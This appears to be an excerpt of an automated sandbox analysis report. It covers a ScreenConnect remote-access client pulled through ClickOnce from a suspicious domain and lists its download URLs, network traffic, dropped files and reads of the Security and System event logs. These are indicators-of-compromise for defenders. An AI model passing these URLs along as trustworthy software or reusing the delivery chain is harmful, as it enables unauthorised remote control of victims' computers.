Source: dfsvc.exe, 0000000E.00000002.2346639670.00000212A32B0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.xrml.org/schema/2001/11/xrml2coreS
Source: dfsvc.exe, 0000000E.00000002.2362337235.00000212BD142000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.zhongyicts.com.cn
Source: svchost.exe, 00000007.00000003.1366471908.0000024F94658000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://appexmapsappupdate.blob.core.windows.net
Source: dfsvc.exe, 0000000E.00000002.2368068234.00000212BEFDE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cp9856.cheloki
Source: dfsvc.exe, 0000000E.00000002.2346639670.00000212A36CE000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A3A29000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cp9856.chelokipotl
Source: dfsvc.exe, 0000000E.00000002.2346639670.00000212A348D000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A398A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A36CE000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2346639670.00000212A3A29000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cp9856.chelokipotlester.icu
Source: dfsvc.exe, 0000000E.00000002.2346639670.00000212A36CE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cp9856.chelokipotlester.icu/Bin/ScreenConnect.
Source: dfsvc.exe, 0000000E.00000002.2346639670.00000212A36CE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cp9856.chelokipotlester.icu/Bin/ScreenConnect.Clie
Source: dfsvc.exe, 0000000E.00000002.2365394785.00000212BD6BA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cp9856.chelokipotlester.icu/Bin/ScreenConnect.Client.ap
Source: ScreenConnect.WindowsClient.exe, 00000011.00000002.1948396561.000000001B42D000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000011.00000002.1946552132.0000000002A51000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cp9856.chelokipotlester.icu/Bin/ScreenConnect.Client.application
Source: dfsvc.exe, 0000000E.00000002.2367012990.00000212BEEE0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cp9856.chelokipotlester.icu/Bin/ScreenConnect.Client.application#
Source: dfsvc.exe, 0000000E.00000002.2346639670.00000212A362E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cp9856.chelokipotlester.icu/Bin/ScreenConnect.Client.application#ScreenConnect.Wi
Source: dfsvc.exe, 0000000E.00000002.2346639670.00000212A362E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cp9856.chelokipotlester.icu/Bin/ScreenConnect.Client.application#ScreenConnect.Wih
Source: ScreenConnect.WindowsClient.exe, 00000011.00000002.1946552132.0000000002A51000.00000004.00000800.00020000.00000000.sdmp, C7EOHWRV.log.14.dr String found in binary or memory: https://cp9856.chelokipotlester.icu/Bin/ScreenConnect.Client.application#ScreenConnect.WindowsClient
Source: ScreenConnect.WindowsClient.exe, 00000011.00000002.1948935379.000000001B484000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cp9856.chelokipotlester.icu/Bin/ScreenConnect.Client.application089a7
Source: dfsvc.exe, 0000000E.00000002.2368068234.00000212BEFDE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cp9856.chelokipotlester.icu/Bin/ScreenConnect.Client.application1
Source: dfsvc.exe, 0000000E.00000002.2367012990.00000212BEEE0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cp9856.chelokipotlester.icu/Bin/ScreenConnect.Client.application2
Source: ScreenConnect.WindowsClient.exe, 00000011.00000002.1948935379.000000001B484000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cp9856.chelokipotlester.icu/Bin/ScreenConnect.Client.application8
Source: C7EOHWRV.log.14.dr, Unconfirmed 974768.crdownload.0.dr, chromecache_128.1.dr String found in binary or memory: https://cp9856.chelokipotlester.icu/Bin/ScreenConnect.Client.application?e=Support&y=Guest&h=cp3back
Source: dfsvc.exe, 0000000E.00000002.2367012990.00000212BEEE0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cp9856.chelokipotlester.icu/Bin/ScreenConnect.Client.applicationK
Source: ScreenConnect.WindowsClient.exe, 00000011.00000002.1946552132.0000000002A5F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cp9856.chelokipotlester.icu/Bin/ScreenConnect.Client.applicationX
Source: ScreenConnect.WindowsClient.exe, 00000011.00000002.1948396561.000000001B42D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cp9856.chelokipotlester.icu/Bin/ScreenConnect.Client.applicationZ
Source: dfsvc.exe, 0000000E.00000002.2368068234.00000212BEFDE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cp9856.chelokipotlester.icu/Bin/ScreenConnect.Client.applicationre=msila
Source: dfsvc.exe, 0000000E.00000002.2368068234.00000212BEFDE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cp9856.chelokipotlester.icu/Bin/ScreenConnect.Client.applications
Source: dfsvc.exe, 0000000E.00000002.2367012990.00000212BEEE0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cp9856.chelokipotlester.icu/Bin/ScreenConnect.Client.applicationuLXGWokl
Source: dfsvc.exe, 0000000E.00000002.2367012990.00000212BEEE0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cp9856.chelokipotlester.icu/Bin/ScreenConnect.Client.applicationw
Source: dfsvc.exe, 0000000E.00000002.2346639670.00000212A362E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cp9856.chelokipotlester.icu/Bin/ScreenConnect.Client.applicationx
Source: dfsvc.exe, 0000000E.00000002.2346639670.00000212A36CE000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2367617805.00000212BEF59000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cp9856.chelokipotlester.icu/Bin/ScreenConnect.Client.dll
Source: ScreenConnect.WindowsClient.exe, 00000011.00000002.1946552132.0000000002A5F000.00000004.00000800.00020000.00000000.sdmp, C7EOHWRV.log.14.dr String found in binary or memory: https://cp9856.chelokipotlester.icu/Bin/ScreenConnect.Client.manifest
Source: dfsvc.exe, 0000000E.00000002.2346639670.00000212A36CE000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cp9856.chelokipotlester.icu/Bin/ScreenConnect.ClientSe
Source: dfsvc.exe, 0000000E.00000002.2346639670.00000212A36CE000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2368068234.00000212BEFDE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cp9856.chelokipotlester.icu/Bin/ScreenConnect.ClientService.dll
Source: dfsvc.exe, 0000000E.00000002.2346639670.00000212A398A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2368068234.00000212BEFDE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cp9856.chelokipotlester.icu/Bin/ScreenConnect.ClientService.exe
Source: dfsvc.exe, 0000000E.00000002.2368068234.00000212BEFDE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cp9856.chelokipotlester.icu/Bin/ScreenConnect.ClientService.exe_
Source: dfsvc.exe, 0000000E.00000002.2367617805.00000212BEF59000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cp9856.chelokipotlester.icu/Bin/ScreenConnect.Core.dll
Source: dfsvc.exe, 0000000E.00000002.2346639670.00000212A36CE000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2367617805.00000212BEF59000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cp9856.chelokipotlester.icu/Bin/ScreenConnect.Windows.dll
Source: dfsvc.exe, 0000000E.00000002.2367617805.00000212BEF59000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cp9856.chelokipotlester.icu/Bin/ScreenConnect.Windows.dll63:
Source: dfsvc.exe, 0000000E.00000002.2346639670.00000212A398A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cp9856.chelokipotlester.icu/Bin/ScreenConnect.WindowsBackstage
Source: dfsvc.exe, 0000000E.00000002.2346639670.00000212A3A29000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cp9856.chelokipotlester.icu/Bin/ScreenConnect.WindowsBackstageShell.ex
Source: dfsvc.exe, 0000000E.00000002.2346639670.00000212A398A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2366106744.00000212BEE92000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cp9856.chelokipotlester.icu/Bin/ScreenConnect.WindowsBackstageShell.exe
Source: dfsvc.exe, 0000000E.00000002.2346639670.00000212A3A29000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2367830615.00000212BEF7E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cp9856.chelokipotlester.icu/Bin/ScreenConnect.WindowsBackstageShell.exe.config
Source: dfsvc.exe, 0000000E.00000002.2367830615.00000212BEF7E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cp9856.chelokipotlester.icu/Bin/ScreenConnect.WindowsBackstageShell.exe.configt
Source: dfsvc.exe, 0000000E.00000002.2346639670.00000212A341C000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2368068234.00000212BEFDE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cp9856.chelokipotlester.icu/Bin/ScreenConnect.WindowsClient.exe
Source: dfsvc.exe, 0000000E.00000002.2346639670.00000212A3A29000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2344956030.00000212A16DC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cp9856.chelokipotlester.icu/Bin/ScreenConnect.WindowsClient.exe.config
Source: dfsvc.exe, 0000000E.00000002.2368249036.00000212BEFF6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cp9856.chelokipotlester.icu/Bin/ScreenConnect.WindowsClient.exe.config-U
Source: dfsvc.exe, 0000000E.00000002.2346639670.00000212A398A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cp9856.chelokipotlester.icu/Bin/ScreenConnect.WindowsClient.exx
Source: dfsvc.exe, 0000000E.00000002.2346639670.00000212A398A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cp9856.chelokipotlester.icu/Bin/ScreenConnect.WindowsFileManager.e
Source: dfsvc.exe, 0000000E.00000002.2346639670.00000212A3A29000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cp9856.chelokipotlester.icu/Bin/ScreenConnect.WindowsFileManager.exe
Source: dfsvc.exe, 0000000E.00000002.2346639670.00000212A398A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000E.00000002.2359951085.00000212BB8EE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cp9856.chelokipotlester.icu/Bin/ScreenConnect.WindowsFileManager.exe.config
Source: dfsvc.exe, 0000000E.00000002.2359951085.00000212BB8EE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cp9856.chelokipotlester.icu/Bin/ScreenConnect.WindowsFileManager.exe.configg
Source: dfsvc.exe, 0000000E.00000002.2346639670.00000212A3A29000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cp9856.chelokipotlester.icu/Bin/ScreenConnect.WindowsFileManagp
Source: svchost.exe, 00000007.00000002.1367091647.0000024F94659000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366471908.0000024F94658000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://dev.ditu.live.com/REST/V1/MapControlConfiguration/native/
Source: svchost.exe, 00000007.00000002.1367177095.0000024F94681000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366380334.0000024F94662000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366547425.0000024F94641000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.1367108889.0000024F94665000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366471908.0000024F94658000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366519593.0000024F9465A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://dev.ditu.live.com/REST/v1/Imagery/Copyright/
Source: svchost.exe, 00000007.00000002.1367177095.0000024F94681000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://dev.ditu.live.com/REST/v1/JsonFilter/VenueMaps/data/
Source: svchost.exe, 00000007.00000003.1366471908.0000024F94658000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://dev.ditu.live.com/REST/v1/Locations
Source: svchost.exe, 00000007.00000003.1366380334.0000024F94662000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://dev.ditu.live.com/REST/v1/Routes/
Source: svchost.exe, 00000007.00000002.1367177095.0000024F94681000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://dev.ditu.live.com/REST/v1/Transit/Stops/
Source: svchost.exe, 00000007.00000003.1366471908.0000024F94658000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://dev.ditu.live.com/mapcontrol/logging.ashx
Source: svchost.exe, 00000007.00000002.1367024630.0000024F9463F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366380334.0000024F94662000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.1367108889.0000024F94665000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366471908.0000024F94658000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366519593.0000024F9465A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://dev.virtualearth.net/REST/v1/Imagery/Copyright/
Source: svchost.exe, 00000007.00000003.1366471908.0000024F94658000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://dev.virtualearth.net/REST/v1/Locations
Source: svchost.exe, 00000007.00000003.1366380334.0000024F94662000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.1366965576.0000024F94624000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/
Source: svchost.exe, 00000007.00000003.1366471908.0000024F94658000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Driving
Source: svchost.exe, 00000007.00000003.1366471908.0000024F94658000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Transit
Source: svchost.exe, 00000007.00000003.1366471908.0000024F94658000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Walking
Source: svchost.exe, 00000007.00000002.1367024630.0000024F9463F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366380334.0000024F94662000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.1367108889.0000024F94665000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://dev.virtualearth.net/REST/v1/Traffic/Incidents/
Source: svchost.exe, 00000007.00000003.1366547425.0000024F94641000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.1367042117.0000024F94644000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://dev.virtualearth.net/REST/v1/Transit/Schedules/
Source: svchost.exe, 00000007.00000003.1366471908.0000024F94658000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://dev.virtualearth.net/mapcontrol/logging.ashx
Source: svchost.exe, 00000007.00000003.1366380334.0000024F94662000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?
Source: svchost.exe, 00000007.00000003.1366532997.0000024F94649000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=
Source: svchost.exe, 00000007.00000002.1367042117.0000024F94644000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=
Source: svchost.exe, 00000007.00000003.1366380334.0000024F94662000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=
Source: svchost.exe, 00000007.00000003.1366547425.0000024F94641000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gri?pv=1&r=
Source: svchost.exe, 00000007.00000003.1366457343.0000024F9465D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://dynamic.t
Source: svchost.exe, 00000007.00000003.1366471908.0000024F94658000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx
Source: svchost.exe, 00000007.00000003.1366380334.0000024F94662000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.1366965576.0000024F94624000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/
Source: ScreenConnect.Core.dll.14.dr String found in binary or memory: https://feedback.screenconnect.com/Feedback.axd
Source: edb.log.4.dr String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 00000004.00000003.1202956022.00000227BD062000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.4.dr, edb.log.4.dr String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: svchost.exe, 00000007.00000003.1366577768.0000024F94630000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://t0.ssl.ak
Source: svchost.exe, 00000007.00000003.1366577768.0000024F94630000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virt
Source: svchost.exe, 00000007.00000003.1366577768.0000024F94630000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtuX
Source: svchost.exe, 00000007.00000003.1366547425.0000024F94641000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx
Source: svchost.exe, 00000007.00000003.1366532997.0000024F94649000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=
Source: svchost.exe, 00000007.00000003.1366577768.0000024F94630000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366532997.0000024F94649000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.1367091647.0000024F94659000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366471908.0000024F94658000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=
Source: svchost.exe, 00000007.00000002.1366965576.0000024F94624000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=
Source: svchost.exe, 00000007.00000003.1366577768.0000024F94630000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.x
Source: svchost.exe, 00000007.00000003.1366471908.0000024F94658000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen
Source: svchost.exe, 00000007.00000002.1367091647.0000024F94659000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.1366471908.0000024F94658000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://tiles.virtualearth.net/tiles/cmd/StreetSideBubbleMetaData?north=
Source: unknown Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49698
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49698 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49683 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.16:49713 version: TLS 1.2
Source: unknown HTTPS traffic detected: 37.221.67.19:443 -> 192.168.2.16:49715 version: TLS 1.2
Source: unknown HTTPS traffic detected: 37.221.67.19:443 -> 192.168.2.16:49721 version: TLS 1.2
Source: unknown HTTPS traffic detected: 37.221.67.19:443 -> 192.168.2.16:49724 version: TLS 1.2
Source: unknown HTTPS traffic detected: 37.221.67.19:443 -> 192.168.2.16:49725 version: TLS 1.2
Source: unknown HTTPS traffic detected: 37.221.67.19:443 -> 192.168.2.16:49726 version: TLS 1.2
Source: unknown HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.16:49728 version: TLS 1.2
Source: unknown HTTPS traffic detected: 37.221.67.19:443 -> 192.168.2.16:49733 version: TLS 1.2
Source: unknown HTTPS traffic detected: 204.79.197.200:443 -> 192.168.2.16:49738 version: TLS 1.2
Source: unknown HTTPS traffic detected: 204.79.197.222:443 -> 192.168.2.16:49739 version: TLS 1.2
Source: unknown HTTPS traffic detected: 13.107.4.254:443 -> 192.168.2.16:49740 version: TLS 1.2
Source: unknown HTTPS traffic detected: 13.107.219.254:443 -> 192.168.2.16:49742 version: TLS 1.2
Source: unknown HTTPS traffic detected: 204.79.197.200:443 -> 192.168.2.16:49743 version: TLS 1.2
Drops certificate files (DER)
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F2E248BEDDBB2D85122423C41028BFD4 Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8EC9B1D0ABBD7F98B401D425828828CE_BE4413523710330F97BEE5D4A544C42B Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141 Jump to dropped file

Spam, unwanted Advertisements and Ransom Demands
barindex
Reads the Security eventlog
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security\ScreenConnect
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Reads the System eventlog
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Users\user\AppData\Local\Apps\2.0\PBJP0LVB.VXD\EZCCOVKW.H6B\scre..tion_25b0fbb6ef7eb094_0017.0009_1d0f54312371b4fd\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System\ScreenConnect
